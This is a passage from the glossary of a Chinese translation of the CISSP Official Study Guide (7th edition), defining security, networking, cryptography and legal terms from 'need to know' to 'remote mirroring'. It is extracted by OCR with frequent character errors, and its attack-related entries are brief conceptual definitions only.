不是人为灾难， 如地震、 泥石流、 沉孔、 火灾、 洪水、 咫风、 龙卷风、 天降陨石、 暴雪、 暴雨、
冰灾、 潮湿、 炎热和极度寒冷等。
need to know: 知其所需
为 了执行特殊工作任务具有访问、 了解或占有数据或资源的要求。 为了获得访问数据或资源的
权利 ， 用 户必须具有 " 知其所需 " 权限。 即使用 户与所请求的信息具有相同的安全级别， 或者具有
比所请求资源更高的安全级别 ， 如 果没有 " 知其所需 " 权限， 那么也会被拒绝访 问 。
negl igence : �荒忽
在特定情况下没有进行适当 的 关注 ， 从而导致对另-方的无意识伤害。
Nessus
漏洞扫描器。
NetBEUI
NetBIOS 扩展用户界面(NetBEUl. 又名 NetBIOS 帧协议或 NBF)是微软最广泛认知的一个协议，
在 1985 年被开发用于支持文件和打印机共享。 微软已经通过将 NetBIOS 工作于 TCPIIP 上例BT)使
得 NetBEUI 支持现代网络。 这反过来又支持服务器消息块(SMB)协议， 也被称为通用互联网文件系
统(CIFS)。 作 为一个低层协议， NetBEUI 己不再获得支持; 只 有 5MB 和 CIFS 仍在使用 。
Network Access Control : 网络接入控制(NAC)
一种访问控制环境中通过严格遵守和实施安全策略的概念。 NAC 领域的 目 标是预防/减少零 日
攻击， 加强网络通信 的安全策略， 使用验证完成访 问控制。
Network Address Translation : 网络地址转换(NAT)
这种机制将信息包头内 部的不可路由 E 地址转换为公共 E 地址 ， 从而在互联网上进行传输。
network analysis 或 network forensic analysis: 网络分析或网络取证分析
收集不同来源的信息， 并将其关联起来， 然后完成一份尽可能全面的 网 络构图。
术语表
network-based IDS : 网络型 I DS
为监视网络而安装在一台主机上的 IDS。 网络型 IDS 通过捕获和评估网络数据包来检测攻击或
异 常事件。
network discovery scanning : 网络发现扫描
使用 多种技术对一系列 E 地址进行扫描， 搜索配有开放网络端口 的系统。 网络发现扫描器实际
上不能探测系统的漏洞， 只是提供一份网络检测的系统显示报告和一份端 口清单， 这份清单通过网
络和服务器防火墙公开 了 隐藏在扫描器和扫描系统之间 网络路径上的端 口 。
Network Layer: 网络层
OSI 模型的第 3 层。
network monitoring 网络监控
获取有关网络的信息的监视流量模式的行为。
network topology 或 physical topology : 网络拓扑或物理拓扑
计算机和 网络连接设备的物理布局和组织。
neural network : 神经网络
在这种系统中 ， 互相插入的和最终合计生成预期结果的计算决策长链被建立起来。
nmap
渗透测试工具 ， 能够执行端 口 扫描、 ping 扫描、 banner 抓取、 网 络发现等。
nOlse : 噪声
稳定的干扰破坏。
nonce : 现时
密码学软件中使用 的是随机数字发生器变量， 每次使用时都会创建一个独特的新值， 往往建立
在基于种子值的时间标记的基础上。
NonCompete Agreement: 竟业禁止协议(NCA)
竞业禁止协议试图阻止格外了 解组织秘密的员工加入另一个存在竞争关系的组织， 从而使第二
个机构不能受益于该员工所 了解的秘密。
NonDisclosure Agreement: 保密协议(NDA)
被用于保护组织的机密信息不会被以前的员工泄漏的文挡。 当 员工签署保密协议的时候， 他们
同意不对组织以外的任何人泄露被定义为机密级 的信息。 如果违反了保密协议， 那么常常会遭到严
厉 的处罚 。
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CISSP 官方学习指南(第 7 版)
nondiscretionary access control : 非 自主访问控制
一种访 问控制机制 ， 使用 角 色或任务来管理主体对客体的访问 。
noninterference model : 无干扰模型
以松散的信息流模型为基础。 如果一个主体的操作影响了 另一个主体的系统状态或操作 ， 无干
扰模型会给予关注 。
non-IP protocols : 非 IP 协议
非 E 协议是作为一种替代 IP 并工作在 OSI 的网络层的协议。 在过去， 非E协议被广泛使用 。
然而， 与 TCPIIP 的主导地位和成功相比， 非 IP 协议己成为专用网络的范畴。 三个最被认可的非 E
协议是 IPX、 AppleTalk 和 阳TBUI。
nonrepudiation : 不可否认性
一种安全控制或应用的特性， 可以确保消息的发送者或者活动或事件的主体不能否认所发生的
事件。
nonvolatile sto阳ge : 非易失性存储设备
不依赖于电源的供电维持存储内容。磁性的/光学的介质和非易失性 RAM例V孔仙。都是非易失
性存储设备的例子 。
。
normal forms: 规格化形式
组织设计的提高有效数据库的不同级别 。
normal ization : 规格化
删 除冗余数据并确保所有特性都依赖于主键的数据库过程。
NOT : 非
一种操作(用符号或!来表示)， 简单地将输入值取反。 这个功能每次只对一个变量进行操作。
Oauth : 公开认证
-个开放标准 ， 它 与 HTTP 协作 ， 允许用户 以 单一账户 登录多个站点/位置 。
object : 客体
为主体提供信息或数据的被动实体。 客体可以是文件、 数据库、 计算机、 手里字 、 过程、 打印机
或存储介质等 。
术 i吾 表
Object Linking and Embedding : 对象链接与嵌入(OLE)
一种 Microsoft 技术， 用 于将数据对象链接嵌入计算机上的 多个文件或资源。
。同ect-Oriented Programming : 面向对象编程(OOP)
这种编程方法使用被称为对象的封装代码集。 OOP 最适合消除错误传播和模仿真实场景。
object-relational database : 对象关系数据库
组合了 面向 对象编程环境的关系数据库 。
off-boarding : 下线
一旦员 工离开组织， 员 工的身份将从身份和访问 管理系统中移除。
on-boarding : 在线
向组织的身份和访问管理系统添加新员工的过程。 当员工的角色或位置改变时， 或者当他们被
授予额外的特权或访问级别时， 也使用在线过程。
one-time pad : 一次性填充
一种极强大的替代密码 。 对每一条消息都使用不同 的密钥。 密钥的长度与消息的长度一样。
one-time password : 一次性密码
每次使用 时 都会发生改变的一种动态密码 。
one-upped constructed password : 单字符构造不同密码
只 有一个字符与其字典形式有差异的密码 。
one-way enc叩ption : 单向加密
对密码、 消息、 CRC 等执行的数学函数， 生成一个不可逆转的加密编码。
one-way function : 单向函数
一种数学运算 ， 它可以通过所有可能的输入值组合得出结果， 但是反向得出输入值却是不可能
的 。 公钥密码系统建立在某种单向函数的基础上 。
OpenlD
一个开放 SSO 标准， 由公司 OpenTID Foundation 维护， OpenTID 可与 OAuth 连同使用 ， 也可单
独使用 。
open relay agent: 开放中继代理
SMTP 服务器被配置为接受来 自 任何来源的 电子邮件， 并将其转发到其他 目 标。 开放中 继代理
通常被垃圾邮件发送者劫持 。
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CISSP 官方学 习指南(第 7 版)
Open System Authentication : 开放系统身份认证(OSA)
不要求真正身份认证的无线网络的一种连接模式。 只要能够在客户端和 WAP 之间传送无线电
信号， 那么就允许通信 。
OSI 模型
这个标准模型为所有的计算机系统建立 了 一个通用 的 通信结构或标准。
Open Web Application Security P叫ect: Web 应用程序安全项 目 (OWASP)
OWASP 是一个非营利性的安全项 目 ， 其重点在于提高在线或基于 Web 的应用程序的安全性。
operational plans : 操作计划
一种短期计划， 是基于战略和战术计划的非常详细的计划。 它们只在很短的时间 内 有效或有用 。
为了服从战术计划， 操作计划必须经常被更新(如每个月 或每个季度)。 操作计划是详细的计划 ， 它
们清楚地说 明 了 如何完成组织 的不 同 目标。
operations security triple : 操作安全三元组
资产、 脆弱性和威胁之间的关系 。
OR: 或
一种逻辑运算(利用符号/来表示)， 可 以 检查是否至少有一个输入值为真。
0叫hogonal Frequency-Division Multiplexing : 正交频分复用(OFDM)
这种无线技术利用 允许传输进行更紧密压缩的数字载波调制模式。
Output FeedBack : 输出回馈(OFB)
在这种模式中 ， DES 将明文与种子值相异或。 针对第一个加密分组， 一个初始值向量被用来建
立种子值。 以后的种子值通过在之前的种子值上运行 DES 算法取得。 OFB 模式的主要优点是传输
的错误不进行传播 ， 从而不会影响 以后分组的解密。
ove时 channel : 公开通道
由安全策略说明 的一种明显的、 可视的、 可检测的且己知的通信方法， 随后由逻辑性或技术性
访问控制进行控制 。
owner: 所有者
对 保护和存储数据负有最终法人责任的人。 如果所有者在建立和执行安全策略以便保护和维护
敏感数据时没有尽职 ， 那么可能要对疏漏承担责任。 所有者常常就是 CEO、 董事民或部门领导。
ownership : 所有权
对个人或群体(例如使某人成为所有者)正式职责 的指定 。
术语表
P
package : 包
在针对信息技术安全评估的通用准则环境中 ， 包是一组能够从 目 标系统中删除或添加的安全
特性。
packet : 数据包
包含数据和 目 标地址的消息的一部分 ， 也被称为数据报 ， 通常位于网络层。
packet sniffing : 数据包嗅探
从网络中捕获数据包井期望从信息数据包的内 容中抽取出有用信息的行为。
padded cell : 填充单元
与蜜罐系统类似， 当入侵者被 1 D S 检测到 的时候， 入侵者被 自 动地转移到一个填充单元。 填
充单元具有实际网络的结构和布局 ， 但是在填充单元里， 入侵者既不能执行任何恶意的活动 ， 也不
能访问任何机密数据。 填充单元是一个模拟环境 ， 通过提供伪造数据来吸引 入侵者的兴趣。
pairing : 自己对
通过蓝牙连接两个设备。
palm geography : 手掌特征
生物测定学因素的一个例子， 它是主体唯一的行为或生理上的特征。 人手的形状被用来建立身
份标识或提供身份认证。
palm scan : 手掌扫描
物理识别因素的一个例子， 对于主体是唯一的。 用 近红外光测量于掌的静脉模式， 这些跟指纹
一样， 是独一无二的。 每个人不需要接触扫描仪， 只 需要把他们的手掌放在扫描仪的上方。 一些手
掌扫描识别人的手掌上的 凹 凸 榴皱布局 ， 以建立身份或提供认证 。
palm topography : 手部外形
生物测定学因素的一个例子， 它是主体唯一的行为或生理上的特征。 人的手形常被用来建立身
份标识或提供身份认证。 人的手掌上的凹 凸榴皱布局， 可用 以建立身份或提供认证。 这与手掌扫描
相同， 类似于指纹。
paral lel data systems or parallel computing : 井行数据系统或井行计算
计算系统设计用于同时进行大量的计算， 但并行数据系统往往远远超出 了基本的多处理能力。
它们通常将包括一个大的任务划分成更小元素的概念， 然后将每个子元素分发到不同的子处理系统
上进行并行计算。 这个实现基于这样一个思路: 有些问题如果拆解成更小的任务并同时处理， 可 以
更加有效地得到解决。
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CISSP 官方学习指南(第 7 版)
parallel run : 井行运行
在这种新的系统部署测试中 ， 新系统和 旧系统并行运行。
parallel tests : 平行测试
涉及将实际人员重新部署到替换的恢复场所和实现场所启 用 措施的测试。
parole evidence rule : 口 头证据规则
这条规则说明当双方的协议被以书面的形式记载下来时， 书面文档被假设包含协议的所有条款，
并且 口 头协议不可 以修改书面协议。
pa叫al-knowledge teams: pa叫al 认识水平团队
在渗透测试之前， 这支团 队拥有组织资产的详细记录(包括硬件和软件 目 录) 。
passphrase : 密码短语
通常是一串字符， 其长度要比密码长得多。 一旦输入密码短语， 系统会为了身份认证过程的使
用 而将其转换为实际密码 。 密码短语常常是修改过的母语语句 ， 这样可 以简化记忆。
password : 密码
由 主体输入的作为身份认证要素的字符 串 。
password Authentication Protocol : 密码身份认证协议(PAP)
一种标准的 PPP 验证协议。 PAP 以明码的形式传递用 户名和密码。 PAP 没有提供加密的形式，
它简单地提供了 一种方法， 从客户端向 验证服务器传递登录证书 。
Password-Based Key Derivation Function 2 : 基于密码的密钥导出函数 2(PBKDF2)
一个密钥延伸技术的例子。 PBKDF2 在输入密码上使用散列操作、 加密函数或 HMAC 操作(即
在散列过程中使用对称密钥) ， 该操作与盐组合。 然后将这个过程重复数千次。
password pol icy : 密码策略
组织安全策略的一部分， 规定了密码的规则、 限制和要求。 还可以规定部署在系统上的程序化
的控制措施， 以便加强密码的强度。
password restrictions : 密码限制
定 义密码最低要求的规则 ， 如长度、 字符组成成分和使用 时限。
patch management: 补丁管理
确保相关补丁应用于系统的程序。 理想情况下， 会评估、 测试和部署补丁 ， 井审核系统以验证
补丁是否 己应用并且未被删除。
术语表
patent : 专利
政府允许的、 授予发明 的创造者在设定好的一段时间内独家制作 、 使用和销售的权利 。
Peer T 0 Peer: 点对点(P2P)
网络和分布式应用程序 的解决方案， 用于在点对点实体间共享任务和工作负载。
P2P network : 点对点网络
一种网络架构， 单个设备之间不需要或使用主要控制实体或设备。
penetration testing : 渗透测试
一种用于检测所采用的安全保护措施的强度和有效性、 带有经过授权的入侵攻击企图 的操作。
渗透测试应该得到管理人员的 同意和了解。
period analysis: 频率分析
检查基于密钥长度重复模式的加密文本。 密钥长度是重复的周期。 这通常是多字母替代密码的
缺陷或脆弱性， 这会导致频率分析的过程 。
Permanent Virtual Circuit: 永久虚电路(PVC)
一条预定义的虚电路， 对帧中继用户始终保持可用 。
Personal Identification Number: 个人身份号码(PIN)
分配给个人的数字或代码， 被用作身份识别 的因素。 PIN 应该保密。
Personal Identity Verification : 个人身份认证(PIV)
美国政府内部个人使用 的智能卡， 里面包含了所有者的照片和其他识别信息， 可 以用 作徽章和
智能卡。
Personally Identifiable Information : 个人身份信息(PI I)
可 以很 容易地和/或 明显地追溯到源头的人或涉及人 员 的任何数据工页 。
personnel management: 人员管理
维护操作安全时的一项重要因素。 人员 管理是行政性控制或行政性管理的一种形式。
phishing : 网络钓鱼
一种社交工程陷阱， 试图诱骗用户 ， 使之掉以轻心， 从而打开附件或链接， 获取用户敏感信息 。
它不加 区别地发送给大量用户 。
phone ph陪aking 或 phreakin : 电话线路盗用
闯入 电话公司 的计算机， 并且设置免 费 电话的过程。
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CISSP 官方学习指南(第 7 版)
physical access control : 物理访问控制
作为物理屏障， 可 以用于阻止对系统的直接访问 。 例如 ， 物理性访问控制包括保安、 栅栏、 运
动探测仪、 带锁的门 、 密封窗、 照明、 线缆保护、 笔记本电脑锁、 刷卡、 狗、 闭路电视、 陷阱和警
报器。
Physical Layer: 物理层
OSI 模型的第 1 层。
piggybacking : 混入
跟随着某个人通过受到安全保护的门或通道， 而 自 身没有接受身份标识或授权。
plng
排除连接故障的实用程序 ， 被用 于测试某个 IP 地址是否可以访 问 。
pi ng-of -death attack : 死亡之 ping 攻击
-种 DoS 类型。 死亡之 pmg 攻击采用超长的 ping 数据包。 利用特定的工具， 攻击者可以向一
个受害者发送大量的超长 pmg 包。 在很多情况中 ， 当受害系统试图处理信息包时 ， 错误就发生了 。
这种攻击可能会导致系统的冻结、 崩 溃或重新启 动 。
Plain Old Telephone Service : 普通老式电话业务(PO丁S)
普通的 电话服务。
746
plain text: 明文
没有被加密的消息。
Platform as a Service : 平台即服务(PaaS)
提供计算平台和软件解决方案作为虚拟的或基于云的服务的云计算概念。 从本质上讲， 这种类
型的云计算解决方案提供了 一个平 台 的所有方面(即操作系统和完整的解决方案)。
Point-to-Point Protocol : 点对点协议(PPP)
一种全双工协议， 用于各种非 LAN 连接(如调制解调器、 综合业务数字网 、 虚拟专用网和帧中
继等)上的 TCP/IP 数据包的传递 。 PPP 得到 了 广泛支持， 并且是拨号互联网连接的传输协议。
Point-to-Point Tunneling Protocol : 点对点隧道协议(PPTP)
它是对 PPP 的增强， 在通信的双方节点之间建立加密的隧道。 PPTP 用在虚拟专用网中， 但是
常常会被第 2 层隧道协议代替 。
polyalphabetic substitution : 多字母替代
使用逐字母变化和来 自不同语言或国家的多个字母对消息进行加密的密码转换方法。
术语表
polyinstantiation : 多实例
发生在同一个表中的两行或更多行上， 看似具有相同的主键， 但是包含使用在不同分类级别上
的 不同数据 。 多 实例 常常被用 于防范某些类型 的推理攻击。
polymorphic virus : 多态病毒
在系统间传输时实际上会修改 自 己代码的病毒。 这些病毒的传播和破坏技术保持完全相同， 但
是每次感染新的系统时病毒的特征略有不同 。
polymorphism : 多态性
在面向对象编程术语和概念中 ， 由 于外部条件的变化， 对象基于相同消息和方法提供不同行为
的特征。
po叫: 端 口
协议中 的一种连接地址 。
PO时 Address Translation : 端 口 地址转换(PAT)
这种机制将数据包头中 的 内部不可路由 E 地址转换为能够用于 Intemet传输的公共 IP 地址和端
口号。 通过使用 端 口 ， PAT 支持内部 IP 地址到外部 IP 地址的 多对一映射。
po时 isolation 或 private po白: 端 口 隔离或私有端 口
私有 VL州 的配置是为了使用一个专用 的或预留 的上行端口。 私有 VL剧 或端口 隔离 VLAN
的成员仅可以通过预定的 出 口 或上行端 口 进行相互通信。 一种端 口 隔离 的常见示例是在酒店里。
po时 scan : 端口扫描
由入侵者使用 的探查网络上所有工作系统的软件， 并且能够确定每台计算机上运行的公共服务。
postmo时em revlew: 事后回顾
在活动完成后进行的 分析和回顾， 以便确 定是否成功 以及需要改进的地方。
Post Office Protocol : 邮局协议(POP)
用 于从电子邮件服务器向 电子 邮件客户端传输电子邮件的协议。
preaction system : 预先响应系统
一种干管道/湿管道系统的组合系统。 此系统一直是干管道系统， 直到检测到有火灾发生(烟、
热及其他)， 然后向管道中充满水。 由 于受热， 洒水头活动触发器被融化之后释放出水。 如果在洒水
头被触发之前火被熄灭， 那么管道可以被手工排空并重新设置。 这种系统还允许在洒水头触发洒水
装置之前进行人工干预停止放水。 预先响应系统最适用于计算机和人都存在的环境的洒水系统。
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CISSP 官方学 习指南(第 7 版)
Presentation Layer: 表示层
OSI 模型的第 6 层 。
pretexting : 假冒身份
这种攻击通过假冒 他人获得你的个人信息。 通常与网络钓鱼和其他社会工程学攻击相关。
Pretty Good Privacy : 可靠隐私(PGP)
一种公钥-私钥系统， 它使用 IDEA 算法对文件和 电子邮件报文进行加密。 PGP 不是一种标准，
而是一种独立开发的产品， 并且得到了 互联网 领域的广泛支持。
preventive access control : 预 防性访问控制
这种访 问控制方法被部署用于阻止不必要的或未经授权的行为发生。预防性访问控制包括保安、
安全策略、 安全意识训练和反病毒软件 。
preventive control : 预防性控制
任何可以 阻止和减轻不必要的行为或事件的机制 、 工具或措施。
prima叩 key : 主键
从表的一组候选键中选出 的用来唯一标识表中记录的键被称为主键。 每个表只有一个主键。
748
prima叩 memo叩 : 主存储器
通常由 易失性的随机访问存储器(也仙。组成的存储设备， 一般是系统可以获得的最高性能的存
储资源。
Primary Rate I nterface : 主速率接口 (PRI)
一种 ISDN 服务类型， 提供了 多达 23个B 通道和 l 个 D 通道。 因此， 一条 PRI ISDN 连接提供
了 1 .544Mbps 的吞吐率， 与 Tl 线路的传输速率相 同 。
prima叩 storage : 主存储设备
计算机用来存放必要信息的容易访问的 RAM。
principle of least privilege : 最 小特权原则
属于访问控制学， 描述主体为了 完成工作任务被允许获得的最少的访问控制权。
privacy : 隐私
机密性的一项 内容， 用于 防止有关个体或企业的个人或敏感信息被泄漏 。
Privacy Act of 1 974 : 1 974 年的隐私法案
本法律规定， 政府机构只 能维护完成公务需要的记录， 应该销毁合法工作中不再需要的记录。
术语表
它还提供了 正规的过程， 以便个人访问政府维护的与本人相关的记录， 并请求修改错误的记录 。 此
法案还严格限制 了 美国联邦政府处理个人的私有信息的方式。
Privacy Enhanced Mail : 增强隐私的邮件(PEM)
电子邮件的一种加密机制， 提供了身份认证、 完整性、 机密性和不可否认性。 PEM 是一个第 7
层协议。 PEM 使用 RSA、 DES 和 X.509o
private : 私有的
商业企业/私营部门 的一种分类， 指私有的或个人特性的数据， 只供内部使用。 如果私有数据被
泄漏 ， 那么会对公司 或个人产生重大的负面影响。
Private Branch eXchange : 专用 分组交换机(PBX)
一种成熟的 电话系统， 常被企业用于提供接入电话呼叫支持、 分机至分机呼叫 、 电话会议和语
言邮件。 既可 以作为单机电话系统网络使用 ， 也可以与 IT 基础设施集成在一起。
private cloud : 私有云
私有云部署模型包括一个组织的基于云计算的资产。 组织可以使用 自 己的资源创建和管理私有
云。 组织负责所有维护工作。 然而， 组织也可以从第三方租赁资源并按照服务模型(S出S、 PaaS 或
IaaS)分割维护要求 。
private I P addresses : 私有 I P 地址
盯C 1918 中定义的地址， 不在互联网上路由。
private key : 私钥
用于加密或解密信息的秘密值， 并且要保持秘密， 只 有使用者才能知道。 在非对称密码系统中
与 公钥联合使用 。
privileged mode : 特权模式
这种模式被设计用于给予操作系统访问由中央处理器支持的完整指令的权力 。
privileged operations functions : 特许操作功能
在受保护的 IT 环境中 ， 需要特殊访问或特权才能执行的活动。 在大多数情况下 ， 这些功能只限
于系统管理员和系统操作 员 。
privileges : 特权
许可和权限的组合。 许可是指用户可以在系统上执行的操作 ， 例如更改系统时间。 权限是指用
户 授予数据(如读取、 写入、 修改和删除)的访 问 级别 。
problem state : 问题状态
主动执行进程的状态。
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CISSP 官方学习指南(第 7 版)
procedure : 措施
在安全环境中 ， 是指详细的、 按部就班的指导文挡， 描述了实施特殊安全机制 、 控制方法或解
决方案所需 的精确行动 。
process isolation : 进程隔离
系统设计过程中出现的基本安全措施之一。 基本上， 使用进程隔离机制(无论是操作系统的一部
分或硬件本身 的一部分)能够确保每个进程都具有 自 己独立的 内存空间 ， 以便进行数据的存储和应用
程序编码 自 身的实 际执行。
processor: 处理器
PC 机 的 中 央处理单元， 负责处理系统中所有 的功能。
Program Evaluation Review Technique : 程序评审技术(PERT)
一种项 目 调度工具。 这种方法被用于在开发阶段判定软件产品规模 以及为风险评估计算标准偏
差(SD)o PERT 将估计的每个组件的最小可能规模、 典型规模和最大可能规模联系在一起。 PERT 被
用于直接改善项 目 管理和软件编码， 以便生成更有效的软件。 随着编程和管理能力的提高， 实际生
成的软件规模应当更小。
Programmable Logic Controllers : 可编程逻辑控制器(PLC)
是一种采用一类可编程的存储器， 用于其内部存储程序 ， 执行逻辑运算、 顺序控制、 定时、 计
数与算术操作等面向用户 的指令， 并通过数字或模拟输入输出控制各种类型的机械或生产过程。
Programmable Read-Only Memory : 可编程只读存储器(PROM)
在制造过程中 ， PROM 芯片的 内容没有在出厂前被"烧入 "， 这一点与标准的 ROM 芯片不一样。
相反， PROM 芯片安装了 特殊的功能， 允许最终用户在芯片中烧入内容。
proprieta叩 : 专用
商业企业/私企机密信息的一种形式。 如果专用数据被泄漏， 那么对企业在竞争优势上将可能受
到 巨大 的影响 。
protected mode : 保护模式
用户模式的另一个名称。 用 户应用弄到字所在的 Windows 操作环境中功能较弱的安全域。 用户模
式与 内核模式(也称为特权模式)不同。 用户模式提供受限资源， 对硬件的间接和有限访问 以及进程
之间的隔离。
protection profile : 保护轮廓
来 自 针对信息技术安全评估的通用准则 ， 是主体声 明其安全要求的评估元素。
术语表
protection rings : 环保护
将操作系统中的代码和组件( 以及应用程序 、 实用程序或在操作系统控制下运行的其他代码)组
织为同心环的安全设计， 每个环具有增加或减少 的功能和访 问级别 。
protocol : 协议
一组规则和约束 ， 定义了数据如何在网络介质上(例如双绞线、 无线传输等)进行传递。 协议使
得计算机到计算机之间 的通信成为可能。
protocol translator: 协议转换器
可在协议之间转换的设备或软件 ， 通常能够在 E和lPX 之间 移动有效载荷 ， 也称为网关 。
proximity reader: 邻近式读卡机
一种无源设备、 场源设备或发送应答器， 用 于检查人员是否得到授权， 并允许合法者通过设施
的物理入口 进入。 邻近设备由经过授权的持卡人携带或持有， 当持卡人通过邻近式读卡机的时候，
邻近式读卡机能够确定持卡人的身份和是否有权访 问 。
proxy : 代理
一种可以将数据包从一个网络拷贝到另一个网络的机制 。 为了保护 内部或专有网络的身份， 拷
贝 过程还改变了源和 目 标的地址。
prudent man rule : 审慎者规则
援 自联邦判决指导方针， 这种规则要求高级行政长官在履行工作职责时对工作予以应尽关注 ，
关注的程度与普通的做事谨慎的 人在类似环境下 的关注程度相 同 。
pseudo-flaws: 虚假缺陷
经常被用在蜜罐系统和重要的 资源上， 模仿众所周知 的操作系统脆弱性 。
publ ic: 公开
最低级别的商业企w私有部门 分类。 用于所有不适用于更高级别分类的数据。 这些信息并不是
要故意泄漏出去， 但如果它们被泄漏 了 ， 对组织也不会造成严重的 负面影响 。
public cloud : 公有云
云部署模型包括可供任何消费者租用或租赁的资产， 并由外部云服务提供商(CSP)托管。 服务级
协议可 以有效地确保 CSP 用 可接受的水平向组织提供基于云的服务 。
public key : 公钥
对信息进行加密和解密的一个值， 并且对所有用户 公开， 与非对称密钥密码系统中 的私钥一起
使用 。
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CISSP 官方学 习指南(第 7 版)
public key c叩ptosystem/public key c叩ptography : 公钥密码系统/公钥算法
基于使用 由公钥和私钥组成的密钥对集合的非对称加密算法的子集。 使用这个对中 的一个密钥
加密消息， 仅能用来自 同一密钥对的 另一个密钥来解密。
Public Key I nfrastructure : 公钥基础结构(PKI)
信任关系 的一种结构 ， 使相互不认识 的双方之间的通信变得容易一些。
purging : 清洗
删除介质 内容的过程， 这样介质就可 以在较不安全的环境下重复使用 。
Q
qual itative decision making : 定性的决策制定
决策制定过程通常考虑非数字化的因素， 如情感、 投资者/用户 的信心、 劳动力的稳定性和其他
关注的方面。 这种类型的数据通常导致按优先等级进行分类(如高级 、 中级、 低级)。
qual itative risk analysis : 定性的风险分析
根据情景为风险等级和决策使用 分类和分级的分析方法。
qual ity assurance check : 质量保证(QA)检查
一种人员管理和项 目 管理形式， 监督产品 的开发过程。 QA 检查确保开发的产品与规定的标准、
实践方法、 效率等一致。
quantitative decision making : 定量的决策制定
使用数字和公式完成决策 。 选择根据业务的货币价值来表示。
quantitative risk analysis: 定量的风险分析
为 资产损失分配实际货 币价值(美元)的方法。
R
radiation monitoring : 辐射监控
一种特殊的探测或窃听形式， 涉及无线电频率信号和其他有辖射的通信方法(包括声音和光线)
的检测 、 捕获和记录。
Radio Frequency IDentification : 无线射频识别(RFID)
这种技术使用 电磁波频谱无线射频部分的 电磁或静电祸合来确定特定的设备。 每个 盯D 标记
术 i吾 表
都包含一个独特的标识符， 这样一来， 只要附近的天线/收发器激活该标记， 那么就会将标识符传送
回 天线进行记录， 或者被用于触发某种动作。 例如， 大多数现代的道路收费系统都使用司机附着在
汽车挡风玻璃上的 RFID 设备， 一旦天线 "读取" 到这种设备， 车主的通行费用就会相应增加。 在
公 司 进行安全监控的前提下 ， RFID 设备也可 以 被用 于追踪携带标记的个人、 设备等。
Radio Frequency I Dterference : 射频干扰(RFI)
盯I 是由很多常见的电器(包括荧光灯、 电缆、 电加热器、 计算机、 电梯、 电动机和电磁铁等)
产生的一种噪声 。 盯I 会与 EMI 一样影响许多系统。
rainbow table : 彩虹表
彩虹表提供预先计算的密码散列值。彩虹表通常用于破解以密码散列方式存储在系统中 的密码。
Random Access Memory: 随机存取存储器(RAM)
可读和可写的存储器， 保存计算机在处理过程中使用 的信息。 只有当 电源持续不断供应的时候，
孔灿4 才保存着 内容。
random access storage : 随机存取存储设备
允许操作系统从介质 中 的任何一点读取数据的设备 ， 如 RAM 和硬盘。
Read-Only Memory : 只读存储器(ROM)
只 能读但不能写的存储器。
ready state : 就绪状态
准备执行但在排队等待 CPU 的状态。
real evidence : 客观证据
那些可能会被实际带到法庭上的物品 ， 也被称为实物证据 。
real memo叩 : 实际的存储器
通常是计算机可以使用 的最大的 RAM 存储资源。 一股由许多动态的 RAM 芯片组成， 因此，
CPU 必须定期对它们进行刷新， 也被称为主存储器或第一存储器。
realized risk : 已发生的凤险
在风险发生井且破坏、 攻击或侵入已经出现时， 可能或不可能造成资产损失、 损害或泄漏的事
故 、 遭遇或事件。
reasonableness check : 合理性检查
制定和使用特殊的测试数据集， 尽可能地运用软件的所有路径， 并将结果与己知正确的预期输
出进行比较。
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CISSP 官方学 习指南(第 7 版)
record : 记录
关系型数据库 中表 的 内容。
record retention : 记录保留
组织的一个策略， 对应该保留什么样的信息和保留多长时间进行定义。 在大多数情况下 ， 相关
的记录是用户 活动的审计跟踪， 这些记录可能包括对文件和资源的访问、 登录模式、 电子邮件和特
权的使用 。
record sequence checking : 记录序列校验
与散列总数校验类似。 然而， 它没有对内 容的完整性进行校验， 而是对数据包或报文的序列完
整性进行校验。
recove叩 access control : 恢复访问控制
在 安全策略遭到侵犯以后 ， 用 于修复或还原资原、 功 能和性能的一种访问 控制类型 。
recove叩 strategies : 恢复策略
恢复某个业务的实践、 策略和措施， 包括指派最早响应严重事故的人员 、 执行关键的后续任务
以及获得减少财务损失风险的保险费。
red boxes : 红盒
用 于模拟硬 币 存入付费 电话时的声音。
reducing risk : 降低风险
保护措施和应对措施的实施 ， 也被称作缓解风险。
reduction analysis : 降低分析
这个任务的 目 的是更好地理解产品逻辑及其与外部的交互元素。 不管是应用程序、 系统还是整
个环境， 都需要被分成更小的容器或隔间。 如果关注的是软件、 电脑或操作系统， 这些可能是子程
序、 模块或客体: 如果关注的是系统或网络， 这些可能是协议; 如果关注的是企业的整个基础设施，
这些可能是部门、 任务和网络。 应该对识别出 的每个子元素进行评估， 以便理解输入、 处理、 安全
性 、 数据管理、 存储和输出。 这有时也被称为分解应用程序 、 系统或环境。
Redundant Array of Independent Disks : 冗余磁盘阵列(RAID)
一种存储设备技术， 采用独特组合的多个硬盘驱动器来生成存储解决方案， 从而提供更高的吞
吐量 以及对设备故障的抵抗力 。
redundant servers : 冗余服务器
一种容错部署选择， 用于在发生灾难时提供各种服务器选择， 例如镜像、 电子存储、 远程日 志
记录、 数据库映射和群集。
术语表
reference monitor: 引用监控器
安全 内 核的一部分 ， 根据系统的访 问控制机制验证用户 的请求。
reference profi le : 参照轮廓
被存储的生物测定学因素来样 。
referential i ntegrity : 参照完整性
用 来强制两个表建立关系 。 关系中 的一个表包含一个外键， 对应于关系中 另一个表的主键。
reflected input: 反射式输入
当一个易受攻击的网站以通过输入框来欺骗网站的方式反馈脚本命令时， 输入被反馈回访问者，
就像它是原始的和合法的内容一样 。
register: 寄存器
CPU 携带的一种有限容量的板上存储器。
register address : 寄存器地址
直接安装在 CPU 上的非常小的存储器位置。 当 CPU 需要从其中一个寄存器(例如寄存器 1 )获得
信息来完成运算任务时 ， 可 以只使用 寄存器地址来访 问信息。
Registration Authority : 注册授权机构(RA)
只读版本的认证授权机构。 能够分发 CRL 和执行证书验证过程， 但是不能创建新的证书 。 队
被用于分担 CA 的工作量。
regulato叩 pol icy : 规章式的策略
只 要行业或法律标准适合组织 ， 就需要规章式的策略。 这种策略讨论了必须遵守的规章制度，
井概略说 明 了 被用来让人们遵守 这些规章制度的措施。
reject risk : 拒绝风险
拒绝风险的存在是希望通过对风险的忽视让风险永不发生。 这是对风险的不可接受的反应， 也
被称作否认风险。
relational database : 关系数据库
由 包含一系列相关记录的表组成的数据库 。
relationship : 关系
关系数据库 中表内 信息的关联 。
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CISSP 官方学习指南(第 7 版)
relevant : 相关
证据的一种特性 ， 可 以被用于在法庭上确定事实。
Remote Authentication Dial-In User Service : 远程验证拨号用户服务(RADIUS)
用于集中远程拨号连接的验证服务。
remote journal ing : 远程 日志处理
传输数据库事务 日 志的副本， 其中 包括从上次大量传输 以来发生的事务。
remote mirroring : 远程镜像
